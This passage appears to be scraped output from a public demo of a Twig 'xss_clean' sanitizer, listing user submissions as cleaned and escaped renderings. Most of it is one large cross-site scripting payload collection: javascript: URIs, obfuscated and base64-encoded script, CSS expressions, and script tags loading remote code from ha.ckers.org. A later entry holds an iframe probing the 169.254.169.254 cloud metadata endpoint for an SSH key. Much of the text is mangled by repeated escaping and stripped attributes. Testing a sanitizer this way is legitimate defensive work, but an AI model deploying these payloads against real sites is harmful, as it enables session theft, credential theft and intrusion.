style=\\\"xg-p:absolute;top:0;left:0;width:100%;height:100%\\\" =\\\"prompt(1)\\\">\\r\\n\\r\\n<a href=\\\"jAvAsCrIpT:alert(1)\\\">X</a>\\r\\n\\r\\n<embed src=\\\"http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf\\\">\\r\\n\\r\\n<object data=\\\"http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf\\\">\\r\\n\\r\\n<var =\\\"prompt(1)\\\">On Mouse Over</var>\\r\\n\\r\\n<a href=javascript:alert(document.cookie)>Click Here</a>\\r\\n\\r\\n<img src=\\\"/\\\" =_=\\\" title=\\\"=\\\'prompt(1)\\\'\\\">\\r\\n\\r\\n<%<!--\\\'%>alert(1);</script -->\\r\\n\\r\\n<script src=\\\"<svg/=\\\\u0061le%72t(1)>\\\">X</a\\r\\n\\r\\n<iframe/=\\\\u0061\\\\u006C\\\\u0065\\\\u0072\\\\u0074(\\\'\\\\u0061\\\') worksinIE>\\r\\n\\r\\n~\\\'\\\\u0061\\\' ; \\\\u0074\\\\u0068\\\\u0072\\\\u006F\\\\u0077 ~ \\\\u0074\\\\u0068\\\\u0069\\\\u0073. \\\\u0061\\\\u006C\\\\u0065\\\\u0072\\\\u0074(~\\\'\\\\u0061\\\')</script U+\\r\\n\\r\\n<script/src=\\\"data:text%2Fj\\\\u0061v\\\\u0061script,\\\\u0061lert(\\\'\\\\u0061\\\')\\\"></script a=\\\\u0061 & /=%2F\\r\\n<script/src=data:text/j\\\\u0061v\\\\u0061script,\\\\u0061%6C%65%72%74(/XSS/)></script\\r\\n\\r\\n<object data=javascript:\\\\u0061le%72t(1)>\\r\\n\\r\\n+-+-1-+-+alert(1)\\r\\n\\r\\n<body/=<!-->
alert(1)>\\r\\n\\r\\n<script itworksinallbrowsers>/*<script* */alert(1)</script\\r\\n\\r\\n<img src ?itworksonchrome?\\\\/ = alert(1)\\r\\n\\r\\n<svg>//
confirm(1);</script </svg>\\r\\n<svg><script onlypossibleinopera:-)> alert(1)\\r\\n\\r\\n<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe\\r\\n\\r\\n<script x> alert(1) </script 1=2\\r\\n\\r\\n<div/=\\\'alert(1)\\\'> style=\\\"x:\\\">\\r\\n\\r\\n<--`<img/src=` =alert(1)> --!>\\r\\n <script/src=data:text/javascript,alert(1)>\\r\\n\\r\\n<div style=\\\"xg-p:absolute;top:0;left:0;width:100%;height:100%\\\" =\\\"prompt(1)\\\" =\\\"alert(1)\\\">x</button>\\r\\n\\r\\n\\\"><img src=x =window.open(\\\'https://www.google.com/\\\');>\\r\\n\\r\\n<form><button formaction=javascript:alert(1)>CLICKME\\r\\n\\r\\n<math><a xlink:href=\\\"//jsfiddle.net/t846h/\\\">click\\r\\n\\r\\n<object data=PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>\\r\\n\\r\\n<iframe src=\\\"PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\\\">\\r\\n<IFRAME SRC=\\\"(\\\'XSS\\\');\\\"></IFRAME>\\r\\n<EMBED SRC=\\\"PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\\\" type=\\\"image/svg+xml\\\" AllowScriptAccess=\\\"always\\\"></EMBED>\\r\\n<SCRIPT a=\\\">\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<SCRIPT a=\\\">\\\" \\\'\\\' SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<SCRIPT \\\"a=\\\'>\\\'\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<SCRIPT a=\\\">\\\'>\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n(\\\"<SCRI\\\");PT SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<alert(\\\"XSS\\\");//<\\r\\n<\\\"\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83))//-->\\\">\\\'>alert(String.fromCharCode(88,83,83))\\r\\n\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83))//-->\\\">\\\'>alert(String.fromCharCode(88,83,83))<?/SCRIPT>&submit.x=27&submit.y=9&cmd=search\\r\\nalert(\\\"hellox worldss\\\")&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510\\r\\nalert(\\\"XSS\\\");&search=1\\r\\n0&q=\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert%2?8String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode?(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83)%?29//-->\\\">\\\'>alert(String.fromCharCode(88,83%?2C83))&submit-frmGoogleWeb=Web+Search\\r\\n<h1><font color=blue>hellox worldss</h1>\\r\\n<BODY =alert(\\\'hellox worldss\\\')>\\r\\n<input =write(XSS) autofocus>\\r\\n<input =write(XSS) autofocus><input autofocus>\\r\\n<body =alert(XSS)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>\\r\\n<form><button formaction=\\\"(XSS)\\\">lol\\r\\n<!--<img src=\\\"--><img src=x =alert(XSS)//\\\">\\r\\n<![><img src=\\\"]><img src=x =alert(XSS)//\\\">\\r\\n<style><img src=\\\"</style><img src=x =alert(XSS)//\\\">\\r\\n<? foo=\\\">alert(1)\\\">\\r\\n<! foo=\\\">alert(1)\\\">\\r\\n</ foo=\\\">alert(1)\\\">\\r\\n<? foo=\\\"><x foo=\\\'?>alert(1)\\\'>\\\">\\r\\n<! foo=\\\"[[[Inception]]\\\"><x foo=\\\"]foo>alert(1)\\\">\\r\\n<% foo><x foo=\\\"%>alert(123)\\\">\\r\\n<div style=\\\"font-family:\\\'foo ;color:red;\\\';\\\">LOL\\r\\nLOL<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style>\\r\\n({0:#0=alert/#0#/#0#(0)})\\r\\n<svg xmlns=\\\"http://www.w3.org/2000/svg\\\">LOLalert(123)</svg>\\r\\n<SCRIPT>alert(/XSS/.source)</SCRIPT>\\r\\n\\\\\\\\\\\";alert(\\\'XSS\\\');//\\r\\n</TITLE><SCRIPT>alert(\\\\\\\"XSS\\\\\\\");</SCRIPT>\\r\\n<INPUT TYPE=\\\\\\\"IMAGE\\\\\\\" SRC=\\\\\\\"javascript:alert(\\\'XSS\\\');\\\\\\\">\\r\\n<BODY BACKGROUND=\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\">\\r\\n<BODY =alert(\\\'XSS\\\')>\\r\\n<IMG DYNSRC=\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\">\\r\\n<IMG LOWSRC=\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\">\\r\\n<BGSOUND SRC=\\\\\\\"javascript:alert(\\\'XSS\\\');\\\\\\\">\\r\\n<BR SIZE=\\\\\\\"&{alert(\\\'XSS\\\')}\\\\\\\">\\r\\n<LAYER SRC=\\\\\\\"http://ha.ckers.org/scriptlet.html\\\\\\\"></LAYER>\\r\\n<LINK REL=\\\\\\\"stylesheet\\\\\\\" HREF=\\\\\\\"javascript:alert(\\\'XSS\\\');\\\\\\\">\\r\\n<LINK REL=\\\\\\\"stylesheet\\\\\\\" HREF=\\\\\\\"http://ha.ckers.org/xss.css\\\\\\\">\\r\\n<STYLE>@import\\\'http://ha.ckers.org/xss.css\\\';</STYLE>\\r\\n<META HTTP-EQUIV=\\\\\\\"Link\\\\\\\" Content=\\\\\\\"<http://ha.ckers.org/xss.css>; REL=stylesheet\\\\\\\">\\r\\n<STYLE>BODY{:url(\\\\\\\"http://ha.ckers.org/xssmoz.xml#xss\\\\\\\")}</STYLE>\\r\\n<XSS STYLE=\\\\\\\"behavior: url(xss.htc);\\\\\\\">\\r\\n<STYLE>li {list-style-image: url(\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\");}</STYLE><UL><LI>XSS\\r\\n<IMG SRC=\\\'vbscript:msgbox(\\\\\\\"XSS\\\\\\\")\\\'>\\r\\n<IMG SRC=\\\\\\\"mocha:[code]\\\\\\\">\\r\\n<IMG SRC=\\\\\\\"livescript:[code]\\\\\\\">\\r\\nscriptualert(EXSSE)/scriptu\\r\\n<META HTTP-EQUIV=\\\\\\\"refresh\\\\\\\" CONTENT=\\\\\\\"0;url=javascript:alert(\\\'XSS\\\');\\\\\\\">\\r\\n<META HTTP-EQUIV=\\\\\\\"refresh\\\\\\\" CONTENT=\\\\\\\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\\\\\\\">\\r\\n<META HTTP-EQUIV=\\\\\\\"refresh\\\\\\\" CONTENT=\\\\\\\"0; URL=http://;URL=javascript:alert(\\\'XSS\\\');\\\\\\\"\\r\\n<IFRAME SRC=\\\\\\\"javascript:alert(\\\'XSS\\\');\\\\\\\"></IFRAME>\\r\\n<FRAMESET><FRAME SRC=\\\\\\\"javascript:alert(\\\'XSS\\\');\\\\\\\"></FRAMESET>\\r\\n<TABLE BACKGROUND=\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\">\\r\\n<TABLE><TD BACKGROUND=\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\">\\r\\n<DIV STYLE=\\\\\\\"background-image: url(javascript:alert(\\\'XSS\\\'))\\\\\\\">\\r\\n<DIV STYLE=\\\\\\\"background-image:\\\\0075\\\\0072\\\\006C\\\\0028\\\'\\\\006a\\\\0061\\\\0076\\\\0061\\\\0073\\\\0063\\\\0072\\\\0069\\\\0070\\\\0074\\\\003a\\\\0061\\\\006c\\\\0065\\\\0072\\\\0074\\\\0028.1027\\\\0058.1053\\\\0053\\\\0027\\\\0029\\\'\\\\0029\\\\\\\">\\r\\n<DIV STYLE=\\\\\\\"background-image: url(javascript:alert(\\\'XSS\\\'))\\\\\\\">\\r\\n<DIV STYLE=\\\\\\\"width: alert(\\\'XSS\\\'));\\\\\\\">\\r\\n<STYLE>@im\\\\port\\\'\\\\ja\\\\vasc\\\\ript:alert(\\\\\\\"XSS\\\\\\\")\\\';</STYLE>\\r\\n<IMG STYLE=\\\\\\\"xss:expr/*XSS*/ession(alert(\\\'XSS\\\'))\\\\\\\">\\r\\n<XSS STYLE=\\\\\\\"xss:alert(\\\'XSS\\\'))\\\\\\\">\\r\\nexp/*<A STYLE=\\\'no\\\\xss:noxss(\\\\\\\"*//*\\\\\\\");\\r\\nxss:ex/*XSS*//*/*/pression(alert(\\\\\\\"XSS\\\\\\\"))\\\'>\\r\\n<STYLE TYPE=\\\\\\\"text/javascript\\\\\\\">alert(\\\'XSS\\\');</STYLE>\\r\\n<STYLE>.XSS{background-image:url(\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\");}</STYLE><A CLASS=XSS></A>\\r\\n<STYLE type=\\\\\\\"text/css\\\\\\\">BODY{background:url(\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\")}</STYLE>\\r\\n<!--[if gte IE 4]>\\r\\n<SCRIPT>alert(\\\'XSS\\\');</SCRIPT>\\r\\n<![endif]-->\\r\\n<BASE HREF=\\\\\\\"javascript:alert(\\\'XSS\\\');//\\\\\\\">\\r\\n<OBJECT TYPE=\\\\\\\"text/x-scriptlet\\\\\\\" DATA=\\\\\\\"http://ha.ckers.org/scriptlet.html\\\\\\\"></OBJECT>\\r\\n<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert(\\\'XSS\\\')></OBJECT>\\r\\n<EMBED SRC=\\\\\\\"http://ha.ckers.org/xss.swf\\\\\\\" AllowScriptAccess=\\\\\\\"always\\\\\\\"></EMBED>\\r\\n<EMBED SRC=\\\\\\\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\\\\\\\" type=\\\\\\\"image/svg+xml\\\\\\\" AllowScriptAccess=\\\\\\\"always\\\\\\\"></EMBED>\\r\\na=\\\\\\\"get\\\\\\\";\\r\\nb=\\\\\\\"URL(\\\\\\\\\\\"\\\\\\\";\\r\\nc=\\\\\\\"javascript:\\\\\\\";\\r\\nd=\\\\\\\"alert(\\\'XSS\\\');\\\\\\\\\\\")\\\\\\\";\\r\\neval(a+b+c+d);\\r\\n<HTML xmlns:xss><?import namespace=\\\\\\\"xss\\\\\\\" implementation=\\\\\\\"http://ha.ckers.org/xss.htc\\\\\\\"><xss:xss>XSS</xss:xss></HTML>\\r\\n<XML ID=I><X><C><![CDATA[<IMG SRC=\\\\\\\"javas]]><![CDATA[cript:alert(\\\'XSS\\\');\\\\\\\">]]>\\r\\n</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>\\r\\n<XML ID=\\\\\\\"xss\\\\\\\"><I><B><IMG SRC=\\\\\\\"javas<!-- -->cript:alert(\\\'XSS\\\')\\\\\\\"></B></I></XML>\\r\\n<SPAN DATASRC=\\\\\\\"#xss\\\\\\\" DATAFLD=\\\\\\\"B\\\\\\\" DATAFORMATAS=\\\\\\\"HTML\\\\\\\"></SPAN>\\r\\n<XML SRC=\\\\\\\"xsstest.xml\\\\\\\" ID=I></XML>\\r\\n<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>\\r\\n<HTML><BODY>\\r\\n<?xml:namespace prefix=\\\\\\\"t\\\\\\\" ns=\\\\\\\"urn:schemas-microsoft-com:time\\\\\\\">\\r\\n<?import namespace=\\\\\\\"t\\\\\\\" implementation=\\\\\\\"#default#time2\\\\\\\">\\r\\n<t:set attributeName=\\\\\\\"innerHTML\\\\\\\" to=\\\\\\\"XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>\\\\\\\">\\r\\n</BODY></HTML>\\r\\n<SCRIPT SRC=\\\\\\\"http://ha.ckers.org/xss.jpg\\\\\\\"></SCRIPT>\\r\\n<!--#exec cmd=\\\\\\\"/bin/echo \\\'<SCR\\\'\\\\\\\"--><!--#exec cmd=\\\\\\\"/bin/echo \\\'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>\\\'\\\\\\\"-->\\r\\n<? echo(\\\'<SCR)\\\';\\r\\necho(\\\'IPT>alert(\\\\\\\"XSS\\\\\\\")</SCRIPT>\\\'); ?>\\r\\n<IMG SRC=\\\\\\\"http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode\\\\\\\">\\r\\nRedirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser\\r\\n<META HTTP-EQUIV=\\\\\\\"Set-Cookie\\\\\\\" Content=\\\\\\\"USERID=<SCRIPT>alert(\\\'XSS\\\')</SCRIPT>\\\\\\\">\\r\\n<HEAD><META HTTP-EQUIV=\\\\\\\"CONTENT-TYPE\\\\\\\" CONTENT=\\\\\\\"text/html; charset=UTF-7\\\\\\\"> </HEAD>\\r\\n\\\\\\\" SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\">\\r\\n\\r\\n\\\\\\\" \\\'\\\' SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\">\\r\\n\\\'\\\\\\\" SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\">\\r\\n` SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\">\\r\\n\\\'>\\\\\\\" SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\">\\r\\nPT SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\">\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n\\\\x3c\\r\\n\\\\x3C\\r\\n\\\<\\r\\n\\\<\\r\\n<iframe src=http://ha.ckers.org/scriptlet.html>\\r\\n<IMG >\\>\\r\\n\\r\\n<IMG >\\r\\nperl -e \\\'print \\\\\\\"<SCR\\\\0IPT>alert(\\\\\\\\\\\"XSS\\\\\\\\\\\")</SCR\\\\0IPT>\\\\\\\";\\\' > out\\r\\nperl -e \\\'print \\\\\\\"<IMG >\\\\\\\";\\\' > out\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG \\\\\\\"\\\\\\\"\\\\\\\">\\\\\\\">\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n\\r\\n\\\'\\\';!--\\\\\\\"<XSS>=&{()}\\r\\n\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83))//\\\\\\\\\\\";alert(String.fromCharCode(88,83,83))//-->\\\\\\\">\\\'>\\r\\n\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83))//-->\\\">\\\'>alert(String.fromCharCode(88,83,83))\\r\\n\\\'\\\';!--\\\"<XSS>=&{()}\\r\\n<SCRIPT SRC=http://ha.ckers.org/xss.js>\\r\\n<IMG SRC=\\\"(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=(\\\'XSS\\\')>\\r\\n<IMG SRC=javascrscriptipt:alert(\\\'XSS\\\')>\\r\\n<IMG SRC=(\\\'XSS\\\')>\\r\\n<IMG \\\"\\\"\\\">alert(\\\"XSS\\\")\\\">\\r\\n<IMG SRC=\\\" (\\\'XSS\\\');\\\">\\r\\n<SCRIPT/XSS SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<SCRIPT/SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<alert(\\\"XSS\\\");//<\\r\\na=/XSS/alert(a.source)\\r\\n\\\\\\\";alert(\\\'XSS\\\');//\\r\\n</TITLE>alert(\\\"XSS\\\");\\r\\nscriptalert(XSS)/script\\r\\n<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0;url=(\\\'XSS\\\');\\\">\\r\\n<IFRAME SRC=\\\"(\\\'XSS\\\');\\\"></IFRAME>\\r\\n<FRAMESET><FRAME SRC=\\\"(\\\'XSS\\\');\\\"></FRAMESET>\\r\\n<TABLE BACKGROUND=\\\"(\\\'XSS\\\')\\\">\\r\\n<TABLE><TD BACKGROUND=\\\"(\\\'XSS\\\')\\\">\\r\\n<DIV STYLE=\\\"background-image: url((\\\'XSS\\\'))\\\">\\r\\n<DIV STYLE=\\\"background-image:\\\\0075\\\\0072\\\\006C\\\\0028\\\'\\\\006a\\\\0061\\\\0076\\\\0061\\\\0073\\\\0063\\\\0072\\\\0069\\\\0070\\\\0074\\\\003a\\\\0061\\\\006c\\\\0065\\\\0072\\\\0074\\\\0028.1027\\\\0058.1053\\\\0053\\\\0027\\\\0029\\\'\\\\0029\\\">\\r\\n<DIV STYLE=\\\"width: alert(\\\'XSS\\\'));\\\">\\r\\n<STYLE>@im\\\\port\\\'\\\\ja\\\\vasc\\\\ript:alert(\\\"XSS\\\")\\\';</STYLE>\\r\\n<IMG STYLE=\\\"xss:expr/*XSS*/ession(alert(\\\'XSS\\\'))\\\">\\r\\n<XSS STYLE=\\\"xss:alert(\\\'XSS\\\'))\\\">\\r\\nexp/*<A STYLE=\\\'no\\\\xss:noxss(\\\"*//*\\\");xss:ex/*XSS*//*/*/pression(alert(\\\"XSS\\\"))\\\'>\\r\\n<EMBED SRC=\\\"http://ha.ckers.org/xss.swf\\\" AllowScriptAccess=\\\"always\\\"></EMBED>\\r\\na=\\\"get\\\";b=\\\"URL(ja\\\\\\\"\\\";c=\\\"vascr\\\";d=\\\"ipt:ale\\\";e=\\\"rt(\\\'XSS\\\');\\\\\\\")\\\";eval(a+b+c+d+e);\\r\\n<SCRIPT SRC=\\\"http://ha.ckers.org/xss.jpg\\\">\\r\\n<HTML><BODY><?xml:namespace prefix=\\\"t\\\" ns=\\\"urn:schemas-microsoft-com:time\\\"><?import namespace=\\\"t\\\" implementation=\\\"#default#time2\\\"><t:set attributeName=\\\"innerHTML\\\" to=\\\"XSSalert("XSS")\\\"></BODY></HTML>\\r\\n(\\\"<SCRI\\\");PT SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<form id=\\\"test\\\" /><button form=\\\"test\\\" formaction=\\\"(123)\\\">TESTHTML5FORMACTION\\r\\n<form><button formaction=\\\"(123)\\\">crosssitespt\\r\\n<frameset =alert(123)>\\r\\n<!--<img src=\\\"--><img src=x =alert(123)//\\\">\\r\\n<style><img src=\\\"</style><img src=x =alert(123)//\\\">\\r\\n<object data=\\\PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\\\">\\r\\n<embed src=\\\PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\\\">\\r\\n<embed src=\\\"(1)\\\">\\r\\n<? foo=\\\">alert(1)\\\">\\r\\n<! foo=\\\">alert(1)\\\">\\r\\n</ foo=\\\">alert(1)\\\">\\r\\n({0:#0=alert/#0#/#0#(123)})\\r\\nReferenceError.prototype.__defineGetter__(\\\'name\\\', function(){alert(123)}),x\\r\\nObject.__noSuchMethod__ = Function,[{}][0].constructor._(\\\'alert(1)\\\')()\\r\\n<script src=\\\"#\\\">{alert(1)};1\\r\\ncrypto.generateCRMFRequest(\\\'CN=0\\\',0,0,null,\\\'alert(1)\\\',384,null,\\\'rsa-dual-use\\\')\\r\\n<svg xmlns=\\\"#\\\">alert(1)</svg>\\r\\n<svg =\\\"(123)\\\" xmlns=\\\"#\\\"></svg>\\r\\n<iframe xmlns=\\\"#\\\" src=\\\"(1)\\\"></iframe>\\r\\n\\r\\n\\r\\n"><"\\r\\n"><"\\r\\n\\r\\n><s+cript>alert()\\r\\n>alert()\\r\\n><alert();//<\\r\\nfooalert()\\r\\nalert()\\r\\n"/><BODY src=http://my.box.com/xss.js>")>\\r\\n; alert(); var foo=\\r\\nfoo\\\\; alert();//;\\r\\n<script >alert()\\r\\n<img src=asdf =alert()>\\r\\n<BODY =alert(XSS)>\\r\\nalert(1)\\r\\n\\\">alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))\\r\\n<video src=1 =alert(1)>\\r\\n<audio src=1 =alert(1)>
by a | at 2021-08-19 09:36:45
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
test
result with twig: {{ xss.xss | escape }}:
test
keyword(s): prueba
description: test
by jorge | at 2021-08-17 20:57:46
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
result with twig: {{ xss.xss | escape }}:
<script>alert(\\\"hola\\\");</script>
keyword(s): prueba
description: prueba
by jorge | at 2021-08-17 20:56:57
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
sad
result with twig: {{ xss.xss | escape }}:
sad
keyword(s):
description:
by 123 | at 2021-08-17 15:58:37
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
<iframe width=\\\\\\\\\\\\\\\"700px\\\\\\\\\\\\\\\" src=\\\\\\\\\\\\\\\"http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key\\\\\\\\\\\\\\\"></iframe>\\\\\\\\r\\\\\\\\n
result with twig: {{ xss.xss | escape }}:
<iframe width=\\\\\\\\\\\\\\\"700px\\\\\\\\\\\\\\\" src=\\\\\\\\\\\\\\\"http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key\\\\\\\\\\\\\\\"></iframe>\\\\\\\\r\\\\\\\\n
keyword(s): sdf
description: sdf
by sdf | at 2021-08-17 10:48:55
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
<iframe width=\\\"700px\\\" src=\\\"http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key\\\"></iframe>\\r\\n
result with twig: {{ xss.xss | escape }}:
<iframe width=\\\"700px\\\" src=\\\"http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key\\\"></iframe>\\r\\n
keyword(s): a
description: a
by a | at 2021-08-12 18:48:42
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
result with twig: {{ xss.xss | escape }}:
<script>alert(\\\\\\\\\\\\\\\"hello\\\\\\\\\\\\\\\");</script>
keyword(s): 1
description: 2
by 2 | at 2021-08-12 18:17:48
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
result with twig: {{ xss.xss | escape }}:
<script>alert(\\\"hello\\\");</script>
keyword(s):
description:
by | at 2021-08-11 16:07:28
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
fjh
result with twig: {{ xss.xss | escape }}:
fjh
keyword(s): fghj
description: fjh
by hfj | at 2021-08-11 11:26:36
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
result with twig: {{ xss.xss | escape }}:
<script>alert(2)</script>
keyword(s):
description:
by | at 2021-08-11 11:04:58
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
result with twig: {{ xss.xss | escape }}:
<script>alert(\\\"hello\\\");</script>
keyword(s):
description:
by oijojjioj | at 2021-08-10 21:23:19
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
result with twig: {{ xss.xss | escape }}:
<script>alert(\\\\\\\'helloaaaaaaaaaaaaaaaaaaa\\\\\\\')</script>
keyword(s): T
description: Ss
by Kk | at 2021-08-10 09:44:03
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
<select >
result with twig: {{ xss.xss | escape }}:
<select onchange=alert(1)><option>1<option>2\\r\\n
keyword(s): cc
description: <select >
by cc | at 2021-08-08 20:53:00
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
abC5<543$
result with twig: {{ xss.xss | escape }}:
abC5<543$
keyword(s): test 2
description: testing open tag
by Patrick | at 2021-08-06 14:46:58
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
abC5543$
result with twig: {{ xss.xss | escape }}:
abC5<script>alert()</script>543$
keyword(s):
description: test
by Patrick | at 2021-08-06 14:46:02
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
test
result with twig: {{ xss.xss | escape }}:
test
keyword(s):
description:
by | at 2021-08-06 00:15:15
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
a
result with twig: {{ xss.xss | escape }}:
<b>a</b>
keyword(s):
description:
by a | at 2021-08-05 19:44:22
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
click me!
result with twig: {{ xss.xss | escape }}:
<b onmouseover=alert(\'Wufff!\')>click me!</b>
keyword(s):
description:
by a | at 2021-08-05 19:42:56
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
a
result with twig: {{ xss.xss | escape }}:
a
keyword(s):
description:
by a | at 2021-08-05 19:42:44
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
result with twig: {{ xss.xss | escape }}:
<script>alert(\'helloaaaaaaaaaaaaaaaaaaa\')</script>
keyword(s):
description:
by a | at 2021-08-05 19:41:45
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
